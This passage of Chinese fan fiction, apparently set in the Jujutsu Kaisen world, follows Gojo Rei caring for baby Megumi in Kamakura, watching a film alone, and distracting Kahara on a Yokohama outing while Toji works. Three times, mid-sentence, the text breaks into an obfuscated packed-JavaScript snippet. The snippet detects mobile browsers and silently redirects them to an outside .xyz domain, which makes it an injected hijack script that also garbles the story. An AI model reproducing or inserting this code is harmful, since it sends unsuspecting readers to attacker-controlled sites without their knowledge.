先用上无敌的晃悠晃悠大法,让禅院惠在自己的臂弯间左右轻晃,就像是坐在海浪上的小船一眼。也不能忘记掐着嗓子提高音调,用黏糊糊的口吻夸夸他今天是个特别棒的好孩子,努力以此来抢先夺走话语权。 在这期间,千万不能忘记把婴儿车推出来——这是夏梨前不久送给她的,听说是很省力的最新款,说实在的五条怜并没有觉得省力多少,只因为这是一份礼物,所以才认真地使用着而已。 “好啦,我们去兜风,好不好?”她把小海胆放进婴儿车里,努力用被子压住他那动来动去好不安分的小手臂,“沿着海岸线兜风吧,肯定很有意思。” 五条怜的诱人说服显然是排上了用场,正处在爆发边缘的小海胆一下子收声了,呼哧呼哧的吐息声也减轻了好多,灾难预警就此正式解除。 那么,就一起去兜风吧! 在镰仓住了有一段时间了,对这座海滨城市的认知全都来自于偶尔的散步和每日见到的大海,除此之外便没有更多了。也可以说,她对这里的了解,并不会比躺在小车里高兴地咿呀咿呀着的禅院惠更多。 不过嘛,这样也挺好的。 有限的无知就像是充满局限的楼梯间,有种异常的安心感,她很喜欢。 沿着沙滩边的步道往前走,海风钻进了她的衣领里,潮潮的,带着咸涩的气味。 午后的天气不那么好,从海岸边望过去,看不到富士山或是江之岛,海水也变成阴沉的颜色,变成如同泥污的脏水。江之电从七里滨的方向开过来,深绿色的车身似乎沾了灰,但也可能只是不够明亮的天空带来的错觉。五条怜在道旁停了停,等待着一队踩着自行车的运动员从身旁骑过,纤细却坚实的金属车轮卷起一阵弧形的风,咻一下掠过去了,而后消失无踪。真是奇妙的感觉。 真厉害呢。 把发丝捋到耳后时,她想。 海岸线漫长得仿佛没有尽头,要走到哪里再折返,这似乎是个值得好好思索一下的问题。五条怜倒是没怎么想过这回事。 确切的说,她也没在想别的其他事情。她已经放空了大脑,海风吹走了多余的思绪,就连步伐也像是被风推着前进的。姑且算是同行者的禅院惠,他早已经睡着了。 不管在什么时候,他好像总是所有人之中最惬意的那一个。 幸好,这幅模样并没有被五条怜看到,否则她又该羡慕一个孩子了。她只在看着别的。 走着走着,路过不久前新开的影院。她知道挂在墙上的巨幅电影海报没什么意思的,可还是忍不住侧目了。 32.电影 即将走到尽头的春天,对于电影市场来说也许不算是什么美妙的旺季。贴在墙上的海报里,有好几张是几部去年热播的欧美片,早已经下映了。五条怜试着跳过这些如今没办法再从大屏幕上看到的作品,寻找着最近的新作。 是打算去看电影吗?其实不是。 如果非要对自己的行为解释一下,五条怜会说,她只是有些无聊,想要以此来打发时间而已。 正在上映中的电影海报贴在左侧一角,最醒目的是轰轰烈烈的《魔戒2》,暗色调的画面充满了史诗感,可惜她连这部系列作的第一部电影都没看过,对海报上或英俊或美丽的几个脑袋也完全认不出来,只能悻悻地收回目光。 贴在旁边且同样画幅巨大的海报,是007的新作。还有知名的侦探动画的剧场版电影,可惜这也是她没有看过的。 所以说,她平常到底看了点什么呢?五条怜忽然觉得自己的认知好贫瘠。 在更角落些的位置,贴着蓝色的海报,是少年蜷缩在浴缸中的画面。她认出少年是常在电视上能看到的人气偶像组合的成员之一。 她稍稍走近了一点,却不全是因为主演是人气偶像。她盯着电影的名字看了很久,斜体的文字带着一点锋利感。 青之炎——这部电影叫做这个名字。 真帅气呢。她忍不住想。 再把海报上上下下扫过几眼,恰好瞥见到了上映日期。五条怜在心里掐着手指算起时间。 三月底上映的电影,如今已经过去一个多月了,应该马上就要下映了……吧? 她有点不太自信,却又好像在悄悄期待着什么,一边在心里纠结着,一边偷摸摸拉着婴儿车后退了几步,退到影院门口,透过合拢的茶色玻璃,飞快地往里瞄了几眼。 电子屏幕闪烁着红色的光,以十五秒一次的频率刷新着今日的放映安排。 在第三次刷新后,繁杂的满屏片假名消失无踪,“青之炎”的名字跳了出来。 今日《青之炎》共放映两场,最后一场恰是半小时后。 幸运! 五条怜忽然很想蹦起来,不过暂且还是停留在“想”的阶段而已。她的双脚并没能脱离地面,只是轻快地向前迈了几步,连带着她的思绪都要轻飘飘地浮起来了。 如此轻快的脚步,却在茶色玻璃前僵硬地顿住了,咚一下砸在地上,震得脑袋都在嗡嗡作响。手里的婴儿车咯楞一下撞在台阶上,没有吵醒熟睡的小海胆,反倒是让五条怜稍稍清醒了一点。 是了是了,她还带着禅院惠呢,这孩子真的能够跟着她一起在轰隆隆黑洞洞的影厅里乖乖坐上两个钟头都不哭一声吗?五条怜真的很想对小海胆有点信心,可惜对不切实际的事情怀揣信心,实在有点难。 那么,暂且把禅院惠带回家去,或者是在某个地方安置一段时间?听起来容易,可哪有这么顺利。 这么想着,轻快的脚步彻底变成了后退。五条怜一点一点退回到了人行道上,低着头溜走了。再继续闲逛的心思也消失无踪,她就这么一路溜回了家。 夏梨说得果然很对,人需要一些只属于自己的时间。自己真不该早早地否定她的想法的。 还是找个家里有人的时候,把禅院惠委托给其他人(即便是甚尔也无妨),然后再独自去看电影好了。这是眼下她能想到的最合适的解决方式了。 拿定了主意,但不能自说自话地做出决定。毕竟要让旁人帮忙照看禅院惠,至少要提前和这个家的主人——也就是夏梨——知会一声才对。 从午后等到傍晚,再一直等到海面变成彻底漆黑的空洞,五条怜缩在沙发里,忍不住打盹,脑袋彻底变成了打点计时器,一晃一晃的,简直快要掉下来了。 不知道晃悠了多少下,直到外头传来跑车引擎的轰鸣声,她这才猛地惊醒,蹭一下从沙发上弹起来,一路小跑到玄关,匆匆忙忙的几步路害得她的心跳都变得好快。 用不着等待太久,就能见到夏梨了。 她今晚喝得醉醺醺,这幅姿态和初次见面时完全一样,吐息里也充盈着五条怜认不出来的贵价洋酒的味道。假睫毛掉到她的锁骨上了,一眼看去还以为是什么古怪的毛毛虫。 本人显然没有意识到这一点,似乎也没有发现一脸认真地盯着自己的五条怜,只自顾自柔柔地伏在甚尔身旁,每一步都哆哆嗦嗦地晃悠着,脸上也一直笑嘻嘻的。 “啊——真是太搞笑了!”夏梨甩着手,留下一阵酒精味的风,仰着头和甚尔说话,“你记不记得安西刚才在饭局上怎么说的?哇,笑死人了!” “是啊。”甚尔的脸上也挂着一副敷衍的笑意,“他可以去当搞笑艺人了。” “就是嘛!还有佐仓,居然结婚了——而且一直等到今天才说!真气人啊,婚礼都不叫上我。肯定是因为她以前老说自己要做新时代独立女性,结果还是踏进了婚姻的殿堂,觉得太丢脸了没脸面对我吧。” “肯定是这样没错。” 夏梨叽里咕噜地说着同学会上的事情,甚尔也很配合地搭着腔,五条怜插不进话,巴巴地跟在他们身后走上了楼,走了好一段路,夏梨居然都没有发现身后跟了条小尾巴。甚尔倒是发现了她鬼鬼祟祟的模样,但也没主动提及,权当没看见,全身心地投入在了自己的小白脸事业中,乖乖配合着对方醉醺醺的情绪给出想听的话语。 就这么探头探脑了好一阵,夏梨还是没有留意到她的存在。再坚持下去显然也排不上用场了,她默默回去了,窝在沙发上,在心里盘算着什么时候再叨扰夏梨比较好,完全没有注意到甚尔侧首瞄了她好几眼。 当然了,仅仅只是停留在瞄的阶段而已。他可不会主动询问,也不好奇她在想什么,见她没有注意到自己,便收回目光,自顾自钻回房间里了。 他可是经历了一场很疲惫的社交呢。 磨磨蹭蹭又犹犹豫豫,直到第二天的中午,她才逮到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649411|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,同夏梨旁敲侧击了一下。 “夏梨姐。”她甚至用上了这个平常总不好意思说出口的亲昵称呼,“你今天会呆在家里吗?” “今天呀?唔,我想想——”夏梨揉着宿醉的脑袋,吐息里仍带着酒精的臭味,“下午想和朋友出去玩,甚尔也会陪着一起去,我们大概不在家吧。” “哦……” 看来今天是不行了。 失望了吗?大概没有。毕竟她都不曾怀有多少期待嘛。 “怎么了吗,小怜?” “没怎么没怎么!”五条怜连连摆手,努力不让自己的笑容看起来像是苦笑。 夏梨戳戳她的脸:“有什么事就直说嘛,不用这么拘谨哦。把我当作和甚尔一样的角色就好了!” 在甚尔面前,她反而会更加拘谨呢。 五条怜暗自心想,当然不可能把心思说出口,只尴尬地笑了两声,不再拐弯抹角,坦白直说自己想要去看电影,但放心不下禅院惠。 “是了,带着小孩在身边,确实做什么都会很不方便。”夏梨很理解她的困境,“我和甚尔今天是帮不上忙了,就让保姆照看孩子吧。” 出乎意料的安排,五条怜忍不住眨了眨眼:“真的可以吗?” 夏梨好像很不解,歪着头看她:“怎么不可以了?” “唔……” 她支支吾吾,像是给不出答案,其实心里已经想到各种各样不可以的理由了。 譬如像是,这个家的保姆总像魔法世界里的家养小精灵一样,沉默且迅速地做完了所有的家务活,而后便消失无踪,完全见不到她的踪迹。另外的理由是,五条怜不知道自己是不是真的能够心安理得享受保姆的额外服务,毕竟对方是在为夏梨家工作,而自己和小海胆的充其量,最多只是客人而已吧。 直到现在都还没有学会的扑克脸,让这点小小为难轻而易举地就被夏梨看穿了。她笑起来,不由得前后晃着身子,披在肩头的卷发也随之微微晃悠起来,轻盈得如同她的笑声。 “哎呀,不要想这么多嘛!” 夏梨伸出手,搂住五条怜,脖颈上的钻石项链垂落到了她的脸颊上,有些冷冷的。 “这儿是我和甚尔的家,也是小怜你的家呀。自在点嘛,你真的不用太客气的。想做什么就去做吧!” 她的家……吗? 五条怜愣愣地坐着,似乎有些意外,但也可能是有点欣喜,她说不好。只是感觉有股战栗般的情绪笼罩在了心上,于是心跳也变成了更轻快的颤动。夏梨仍然笑眯眯的,双臂环绕在她的肩上——夏梨好像什么时候都是笑着的,她有些羡慕。 五条家从未真正地接纳她,逃离那个家后,她也失去了最后的依靠,寄人篱下之所不能算作是家。 况且,甚尔也只是居无定所的野狗而已,他们没有区别。 但现在,夏梨说,这里是她的家。 她似乎终于拥有“家”了。 33.观后感 “对了小怜,你上次去看的那部电影怎么样,有趣吗?” 在看完电影的好几天之后,夏梨才像是想起自己还没问过观后感,在吃饭的闲暇间匆匆丢出了这个问题。 甚尔把天妇罗丢进嘴里,嚼得咔咔响,懒得转头,只斜眼睨着她:“你一个人出门看电影了?我怎么不知道?” “……” 五条怜有点无语,不知道该说什么才好。 她可没有忘记,那天看完电影回来的时候,他和夏梨正好也从外面回到家了。当夏梨窝在沙发上和她打招呼的时候,他也确确实实回头投来了目光,怎么没过几天就把这事儿忘得精光了? 虽然心里怨念满满,但对他人的疑问予以冷漠对待,总显得很不礼貌。 “嗯,是去看了。”她磨蹭着点点头,“上周三去的。” 不仅看完了电影,还吃掉了整整一桶的爆米花,这要感谢赞助商夏梨小姐,虽然收下她的零花钱真的让五条怜很不好意思。 至于电影本身嘛……很抱歉地说,她实在没有多少感悟,因为她没有认真看,不过这也不全是她的错。 最初对电影动心,其实只是冲着这帅气的影片名而已——又是青色又是火焰的,多帅气呀!对于剧情,她却是半点都没有了解过,茫然地坐进影厅里,开篇蓝色夏日般的氛围让她以为这会是一部爱情电影,不过很快便发现好像不是这么一回事,这貌似是一部犯罪电影。 终于意识到影片类型,似乎算是个不错的开端,可惜她还是没能认真看下去,完全被画面中蓝色的海边城市吸引去了目光。 很巧,这部电影是在镰仓拍摄的,海岸线与沙滩如此眼熟,深绿色的江之电也如印象中一样,轻巧地行驶在穿越民居的铁轨上。 看着看着,五条怜总是失神去想自己是否去过镜头所捕捉的地方,把银幕中平面的图像与脑海中的记忆叠加在一起,试图找出不同的或是相似之处。 思索得过分专注,于是看得便不那么认真了。还在思考着主角骑公路车途径的路线是否眼熟时,影片已经迎来了结尾,主角踩着公路车,冲向迎面驶来的大货车。 结局的镜头很短,至多不过两秒,在惨烈的人车相撞发生之前就已跳为黑屏。五条怜吓得不自觉轻颤,明明这也不是蹩脚的jump scare。 ……等等,这么看来,没有好好看电影,完全是她自己的错才对嘛——谁让她自己非要胡思乱想嘛! “哎,我说。” 听完五条怜支支吾吾的观后感,甚尔又开始眯着眼睨她了,嘴里还啃着鱿鱼干,说出的恼人话都染上了一点海腥气。 “你肯定是在电影院里睡着了。” 他的揶揄真是毫不留情。 五条怜涨红了脸,但她可不会承认是被他的这番气人发言惹恼的。 “我没有!”她气恼地瞪着甚尔,只过了两秒就怯懦地收回了目光,直勾勾盯着饭碗的边缘,闷头说,“我只是,唔……反正没睡觉。” “骗人。” “没骗人!” 无聊的辩论争不出一个合适的结果。夏梨旁观着他们俩的拌嘴,居然忍不住笑出声来了。 “我真的觉得你们兄妹俩好搞笑哦。”这就是她笑个不停的理由,“你们总装作一副不熟的样子互损,太好玩了!” …… 五条怜扯扯嘴角,甚尔露出苦笑。 抱歉,其实他们真的不熟来着。 在一般人面前大概骗不过去的拙劣演技,在夏梨这儿倒是滴水不漏,姑且算是好事一桩了。 吃完饭,甚尔很主动地开始收拾碗筷(住在旧公寓的时候他哪有如此殷勤的时候),还说由他来洗碗(这种事更加是做不出来了),让夏梨很费解。 “家务活让保姆干就好了呀。”夏梨歪着头,把一双琥珀色的眼睛睁得很大,“甚尔你不用多操劳的。” 甚尔已经卷起了衣袖,很刻意地鼓起小臂的肌肉:“我以为你会更喜欢家庭主夫类型的男人,想要投你所好。难道你不喜欢吗?” “喜欢呀!”她笑嘻嘻地扑进他怀里,“那我也来帮忙?” “会把你的衣服弄湿的。” 已经能感觉到他们之间那股黏糊糊的恋爱氛围了,自觉格格不入的五条怜很识相地后退了几步,然后又退了一点,正准备悄无声息地开溜,却先一步被甚尔用目光逮住了。 “阿怜,过来帮忙。” 他的差遣也是毫不意外。 遁逃的脚步灰溜溜停下了,五条怜不情不愿地跟上甚尔的脚步,已经想要叹气了。 不用说,特地叫上自己,肯定不是真心要她帮忙,而是打算把洗碗的苦差事全部推给她啦! 她愤愤地照着甚尔的指示,把脏碗递过去,又紧接着递上洗涤剂,根据他的指挥随时开关水龙头,然后…… ……诶诶诶? 关紧水龙头的瞬间,五条怜总算意识到不对劲了,慌慌张张抬起头,看着手拿百洁布耷拉面孔刷碗的甚尔,总觉得现实和设想好像脱节得相当厉害。 “干嘛?”早就留意到她的古怪视线了,甚尔忍耐了一会儿才直说,“在盯着我看什么?知道吗,你的眼珠子都块掉出来了。” 咦,眼睛要掉了?五条怜匆忙眨眼。 还好还好,眼睛还好好地待在眼眶里,根本掉不出来嘛。她安心了。 “没看什么。”她小声嘀咕着,视线落在水槽的细密泡沫上,“只是有点意外,您居然自己主动洗碗,而不是差使我做事。” “你笨手笨脚的,要是把碗弄碎了,就得由我来赔钱了。” 这话说的。 五条怜撇嘴,闷闷地应了一声“哦”。 怎么可能会需要赔钱。她暗自想。 夏梨姐才不会做出这么小气的事情呢。 “对了,和你说件事。” 甚尔说着,再度打开了水龙头,把开关直接拧到底,流淌出的水凝成豪横的浅白色水柱,哗啦哗啦冲进不锈钢水槽,撞碎了积攒的泡沫,一时有些嘈杂。 说不定他就是为了谈论即将说起的这件事情,所以才拉着她来洗碗的。五条怜没理由地想着,当然不会把心思说出来。 “是工作的事情吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660970|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她只这么说了。 甚尔点头:“对。” 五条怜努力按捺着愈发激动轻快的心跳:“需要我帮忙吗?” “算是吧。” 在流水声的间隙中,甚尔抬了抬眼眸,飞快地打量了她一眼。 “不是之前那种形式的帮忙。”他又接着说,“这次不需要你对我的行动进行任何额外的支持。” “是嘛……” 有点没明白他的意思。不过没关系,甚尔会好好解释的。 “这次的工作大概要耗费一整天,如果用说谎搪塞过去,会很麻烦的,所以我想让你帮忙应付一下华原。”他冲掉手上的泡沫,“所以在我工作的那一天,你的工作是别让她发现我不在家。” 原来是这样。“我明白了。” 虽然大脑还是空空如也的一片,半点头绪都没想到就是了,但这应该无妨。她总能想到办法的。 甚尔关了水,把水槽里的碗统统捞到沥干架上,向五条怜曲曲手指,意思显然是叫她拿干抹布过来。她配合着照做,目光却还是打量着他,不知是想要看穿什么。 “眼睛。”甚尔弹着手指,故意把水洒到她脸上,“又掉出来了。” 这回五条怜可不会被他吓唬到了:“请放心,不会掉的。” “那你还盯着我干什么。” “我在想事情——我以为您打算当个专职的小白脸。”她一脸认真,“只赚女人的钱还不够吗?” “……你说话好怪。” 甚尔瘪嘴,看起来不太高兴的样子,但却也没办法反驳,毕竟这话就是事实。 他现在的确是在赚女人的钱,这不是什么丢脸的事。可被小屁孩五条怜戳穿了,怎么想都觉得有点怪。 想了想,他还是决定说点什么,权当是替自己找补。 “我不可能一辈子都挂在华原的手底下。不管什么时候,只要有钱赚,当然要好好赚一笔。”他又开始甩手指了,不过水泽早已干透,只挥出了一点微弱的风,“你也学着点。” “哦……” 所以,他的意思是,要抓住一切可能的机会吗?还是说其他别的什么道理? 五条怜有点茫然,她一点都搞不明白。 同样搞不明白的还有她的工作。 要让夏梨姐察觉不到甚尔不在家,思来想去,最好的方针就是让夏梨也离开家。这又该怎么实现呢? 躺在四方墙壁围住的楼梯间小床上,她盯着倾斜的天花板思索,感觉空空如也的脑袋都要炸开来了。 行动日转眼就到,目送着准备溜出家门的甚尔,五条怜感觉自己像个小贼。她蹑手蹑脚地上楼,在卧室门口偷偷张望,飙升的心虚感在与夏梨对上视线的瞬间达到了顶峰。 “来找你哥哥呀?”夏梨笑着问,“他去晨跑了哦。” “不是不是,我不是找甚尔。” “那就是想找我啦?” 五条怜认真点头:“嗯!嗯!” 她飞快地溜进卧室,挨到夏梨身边,仰着头,像只认真的小狗。 “夏梨姐,请教我打网球吧!” 34.柔软伤口 想起不久之前夏梨才说过网球的事情,还说过愿意承担起网球教习的工作,没想到这个承诺正好能够在今天派上用场,五条怜有点得意起来,觉得能逮住这个机会的自己简直就是个天才。 至于夏梨嘛,她看起来稍稍有点意外——这倒是毫不意外。 只是,比起惊喜,此刻她脸上的表情,似乎还是惊讶感更多一点。她磨蹭地“嗯——”着,歪过脑袋,眼睛一如既往睁得浑圆,正以一种奇妙的目光盯着她,微微扬起的嘴角也似笑非笑的,说不清她到底是在想些什么。 “小怜想要学网球呀?”她说。 就连一开口所说的话也显得意味不明。 现在显然是确认意向的阶段,虽然五条怜对于网球并没有太多的兴趣,但她知道自己绝对不能动摇。 “是的!”五条怜夸张地点点头,“我想学!” “唔。想学网球确实是好事没错啦。” 夏梨依旧笑眯眯地说着,却总让人觉得这句话的后头会紧接着一个生硬的“但是”。 “但是,” 果然出现了! 五条怜心里咯噔一下,已经开始慌起来了。 “要是被拒绝了怎么办”,这种后备计划她可是一丁点都没有想过呀! 这点惊讶被夏梨看在眼里,显然是被曲解成了悲伤。她赶紧靠过来,轻轻搂着五条怜,笑吟吟地安慰她。 “哎呀哎呀,小怜你别难过嘛。”夏梨伸出手,摸了摸她的脑袋,“我想说的是,最近我的肩膀有点不太舒服,可能不太适合打网球,所以今天没办法教你呢。” 她说得好像很真心,很可惜没办法安慰到五条怜,但她还是点了点头:“我明白了。” “如果你特别特别想学的话,我可以马上找个网球老师哟。” 诶?网球老师? 五条怜立刻打起退堂鼓,支支吾吾起来:“我……我也不是特别特别想学啦……” 夏梨觉得奇怪:“是吗?” 好像有点前言不搭后语了——明明是自己主动提出要和夏梨学网球的,结果又说自己也不是特别特别想学,这不是逻辑错乱了嘛。得赶紧说点什么作为挽回才行! “其实……” 五条怜冒出了一身心虚的冷汗,目光从床头柜来到了天花板,又在白墙上飞快地转了一圈,悄悄攥紧了拳头,脸颊有些微烫。 “不打网球也没关系,我就是想和夏梨姐一起玩!” 一记直球,配上真诚目光(毕竟着真的是她的真心话)作为加速度,咻一下砸中了夏梨,把她敲得晕晕乎乎,整个人都快陷入奇妙的荡漾感之中了。 “原来是这样呀,你蛮好早点跟我说嘛!”她兴奋地搂着五条怜,轻轻蹭着她的脸,“那我们今天去玩吧,就去横滨好了!哎呀哎呀,你真的和你哥哥很像呢。” 成功了……自己的工作进行得好像还算挺顺利的? 五条怜松了口气,但还是对夏梨的后半句话有点疑惑。“我和甚尔很像吗?” 夏梨说的绝对不可能是外表的相像。既然如此,那就是行为上的相似了?真不想这么说,但她真不觉得和禅院甚尔有相似之处是什么好事。 “是啦是啦!”夏梨蹦跳着走进衣帽间,怎么看都好兴奋,“你们两个在关键的时候都不会拐弯抹角,想到什么就说什么了。我很喜欢哦!” 后来五条怜总算知道夏梨为什么会这么说了,完全是因为她和甚尔第一次见面时,他身体不适(绝对是装出来的)向她求助,顺势搭了便车去医院,分开时索要了她的联系方式,理由是“我觉得我有点喜欢你”。 然后他们俩就变成现在的关系了。 “这绝对是命中注定的一见钟情啦!” 夏梨说着,打开了首饰盒,眼里闪烁的光比钻石还耀眼。 什么一见钟情,应该是处心积虑的设下陷阱才对吧。五条怜心想。 事实显然是不能说出口的,于是她也就无话可说了,只好勉强扯扯嘴角,笑着点了点头。于是夏梨也心满意足,继续挑选起首饰。 “你觉得哪个好看?” 她捻起两幅耳环,在耳垂上比划着,黄钻石和纤细的圆弧形银饰碰撞在一起,发出叮当的清脆响声。想了想,五条怜选了钻石。 “小怜眼光很棒嘛!”显然是说中了夏梨心中所想,她显得很高兴,立刻动手戴上了黄钻石的耳环,“这是二十岁生日的时候,爸爸送给我的礼物。是从澳大利亚开采出来的钻石呢。” 澳大利亚,遥远的岛国,想象不出金黄色的钻石在那里会是怎般模样。 “一定很珍贵。”五条怜小声嘀咕。 “还好啦。”夏梨耸耸肩,话语中带着一点莫名轻飘飘的虚浮感,“也没有很贵。” 突如其来的大小姐发言让人不知道怎么应对才好。五条怜笑了笑,依旧坐在衣帽间的软凳上。夏梨忽然走过来,把那副纤细圆弧形的银耳环塞给她,说是送给她的礼物。 “啊……”捧着银耳环,五条怜的手指都在发颤,迟钝了一下才说,“我戴不了。” “哎呀,是呢,你没有耳洞。”夏梨这才发现,但完全没把这点小麻烦放在心上,“没事没事,我们今天去打耳洞就好了嘛。” 用尖锐的东西贯穿柔软的耳垂……嘶,光是想想就有够吓人的。五条怜很没出息地缩起肩膀,像只想要缩回壳里的乌龟。 “会很痛吧?” “放心好啦,一点也不痛哦。”夏梨安慰她,“没法带耳环的话,人生的乐趣都要减半了。” “……是吗?”威力这么大吗? “当然啦。所以我们快出发吧!” 把小海胆托付给保姆阿姨,现在就去往横滨吧。 坐上夏梨的红色跑车,这还是第一次——坦白说,就连跑车,五条怜也是第一次坐。 手忙脚乱虽不至于,但车内过分摩登的装饰确实让她大开眼界。她努力藏住惊讶的表情,目光却忍不住从仪表盘一路打量到了后视镜,恨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673283|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得把每个角落都扫过去才好。 警示音正在滴答滴答响不停,是驾驶座的安全带没有扣上。坐在驾驶座的夏梨似乎满不在意,就这么自顾自地踩下了油门,沿着海岸线驶上高速。 对于从未去过横滨的五条怜来说,这座城市的一切都好有趣。无论是红砖的瓦房还是一天二十四小时转悠不停的摩天轮,就连横跨河上的缆车也带着一点新奇感。被她这份陌生的兴奋感感染着,早已对横滨轻车熟路的夏梨也心情轻快。 中华街去了,摩天轮也坐了,旋转到最顶端时,还能远远的看到富士山。然后钻进各家商场,把每一间店铺全都逛一遍。绝不能忘记光顾首饰店,在那里五条怜的耳朵添上了两道贯穿伤,散发着钝钝的痛楚,看来不痛只是谎言而已。 夏梨带她去了常去的沙龙,乱糟糟的脑袋在化学药剂品的气味中变成了和夏梨很相似的卷发。不过五条怜的头发稍短一些,银灰色纤细的发卷看起来像是洋娃娃。 在明亮的落地镜前,夏梨笑眯眯搂住她,脸贴着脸,有些压到耳垂的崭新伤口了,但没关系。她们的卷发也几乎要缠在一起。 “你看,我们现在好像姐妹一样呢!”她很高兴地说,“要是甚尔和我结婚了,我们就真的能够成为姐妹了哟!” 结婚——居然能从夏梨的口中听到这个词汇,有点意外,意外到五条怜瞬间就从眼下的幸福感中剥离,冒出了莫名的脚踏实地的实感。 大概是自己也意识到这话说得很微妙,夏梨连连甩手,嘴角的笑意都显得有些僵硬了。 “不是说我们马上就要结婚的意思啦,而且我可是很有尊严的,绝对不可能主动向男孩子求婚。”她故意摆出一副认真模样,“但和你哥哥结婚也不是不可能的事情,对吧?” 夏梨笑着征求五条怜的答复,她却不知道该说点什么才好,只能点点头,很轻地“嗯”了一声,心里却还是觉得有些别扭,似乎有什么地方脱节了。可能是因为有几个短暂的瞬间,她又习惯性地把“哥哥”这个角色与五条悟联结在了一起,也可能在她心里,甚尔从来都不像是一个适合结婚的对象。 想不明白,那就把疑惑说出口吧。 “夏梨姐为什么会喜欢他呢?” “为什么呀?唔——” 夏梨自己也需要想一想,但想着想着却笑出声来了。 “他很有男子气概呀!但不只是有男子气概而已。”她脑袋上好像要冒出粉红色的泡泡了,“他虽然看起来挺昭和男儿的,但完全不会惹我生气,是个很温和的男人哟。而且也会想办法哄我开心,明明钱不如我多,还经常买礼物送给我,多有心呀!” 她摇头晃脑地说着,彻底沉浸在了恋爱的海洋里。 “因为他很喜欢我,所以我很喜欢他嘛。” 前半句话是真的吗?五条怜给不出答案,可她明明知道答案。 沉默着,五条怜点点头。“原来是这样呀。”她说。 好像知道了一个截然不同的禅院甚尔。 35.潮湿海风 从横滨回到家时,已经是晚上了。推开门的时候,夏梨还在吐槽美发沙龙那个染了紫色头发的理发师,说他第一眼看去就是个不好应付的娘娘腔,刻薄的话语听得五条怜忍不住想笑,虽说这也不是什么特别好笑的事情。 “还有还有,中华街的那个……哎呀,你在等我们吗?”夏梨笑眯眯转过话题,对坐在沙发上的甚尔说。 今天过得太开心了,其实五条怜都快把拖延时间的工作丢到脑后了,这会儿和甚尔对上目光了,才想起自己是为什么会和夏梨一同出门的。 幸好幸好,短暂地在她眉眼间浮现的那点心虚感并没有被任何人发现,而且从结果来看,她确实是完成了自己的工作目标,顺利地把时间拖延到了甚尔回家。 也就是说,不管怎么想,都不会挨骂了吧——虽然甚尔这家伙肯定会宣称自己从没斥责过她就是了。 甚尔的视线短暂扫过五条怜,落在夏梨身上:“你们出去玩了吗?” 他问着显而易见的事实。 “对呀。” “蛮好带上我一起的。”他耷拉着脑袋连连叹气,好像真有那么失落,“我可以帮你们拎包嘛。” “今天是Girls'' Time啦!”夏梨冲他吐舌头,顺势勾住五条怜的手臂,把她拉到身边,“怎么了,担心我把你妹妹拐走呀?” 甚尔的视线在她们俩之间打了个转。 “这我倒是不担心。”他耸耸肩膀说。 “也是,你妹妹只会被青梅竹马的小帅哥骗走。”夏梨捂嘴偷笑,片刻后才低头看五条怜,摆摆手说,“我开玩笑的哟。” 虽然是句玩笑话,但搞笑程度有点不太够,至少没能让五条怜笑出来。 对着笑话却不笑,好像不是很礼貌,她努力扯扯嘴角,挤出一抹笑容,不过夏梨并未注意到——她迫不及待要和甚尔分享今天的Girls'' Time多么有趣呢。五条怜很识相地退了出去,带着小海胆一起到阳台上吹风去了。 脱离了育儿重责的一整天,要说挂念禅院惠挂念到无心做事,那显然是夸张了,毕竟在今天的很多个瞬间,她就像忘记了自己的工作那样,把小海胆的存在也忘得七七八八了。忘却的罪恶感也相似,她有点后悔把禅院惠独自留在家里和保姆呆在一起了,倒不是觉得别人照顾得有多么不好,只是觉得自己太没责任心了。 抱起小海胆,紧贴在身旁吧。 还好还好,小海胆即不知道她的心情,也不会计较这点小事,在她怀里小小地闹腾了一会儿,伏在她的肩头睡着了。五条怜靠在软椅上,睡意伴着禅院惠平稳的呼吸声泛滥,几乎快要占满大脑。 今日很暖和,即便太阳早在几个小时之前就躲到了地平线下,风中依旧带着潮湿的暖意。春天说不定马上就要结束了,她慢慢眨着眼,胡乱地这么想着。 眼前的月亮是纤细的一轮金色,像是戒指边缘漾过的光……说起戒指,如今都住在镰仓了,应该没机会再买回那枚家主的戒指了吧?没事,反正她也不在意。 月亮一点一点变得模糊,浸入夜晚的海里,漆黑的水中只漂浮着零星月光,她顺势看到了海底的世界,没有意识到自己已经开始做梦了。 海风拂在脸上,有些湿漉漉的,似乎钻进了她的衣摆下方,略有点冷。五条怜不自在地缩起身子,似乎有什么柔软的东西贴在了腹部,她猛地睁开眼,吓得几乎要从椅子上跳起来,险些撞到站在一旁的夏梨。 也不知道夏梨是什么时候过来的,指尖正捻着五条怜的上衣,稍稍翻开了一角,难怪会觉得冷了。不自在感一点也没有消失,她真想把衣服赶紧拉扯回去,却又不好意思阻止夏梨此刻的动作,只好尴尬地笑了两声。 